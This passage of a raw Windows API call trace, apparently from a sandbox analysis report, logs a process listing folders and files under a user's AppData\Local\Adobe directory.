lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.030] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.031] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0179.031] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.031] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.031] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", lpFilePart=0x0) returned 0x2e [0179.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.031] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", lpFilePart=0x0) returned 0x2e [0179.031] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.032] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.032] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0179.032] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 0 [0179.032] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", lpFilePart=0x0) returned 0x2e [0179.033] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.033] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.033] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0179.033] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.033] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", lpFilePart=0x0) returned 0x36 [0179.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", lpFilePart=0x0) returned 0x36 [0179.034] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.035] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.035] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd780dd5d, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0179.035] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 1 [0179.035] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 0 [0179.035] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x29 [0179.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x29 [0179.036] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f9d0 [0179.036] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.036] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0179.036] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0179.036] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0179.037] FindClose (in: hFindFile=0x135f9d0 | out: hFindFile=0x135f9d0) returned 1 [0179.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x29 [0179.037] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f990 [0179.037] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.037] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0179.037] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0179.037] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.038] FindClose (in: hFindFile=0x135f990 | out: hFindFile=0x135f990) returned 1 [0179.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x32 [0179.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x32 [0179.038] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.039] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.039] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d479e6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0179.039] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0179.039] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.039] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x32 [0179.039] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.040] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.040] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d479e6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0179.040] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0179.040] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0 [0179.040] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.040] GetFullPathNameW (in: 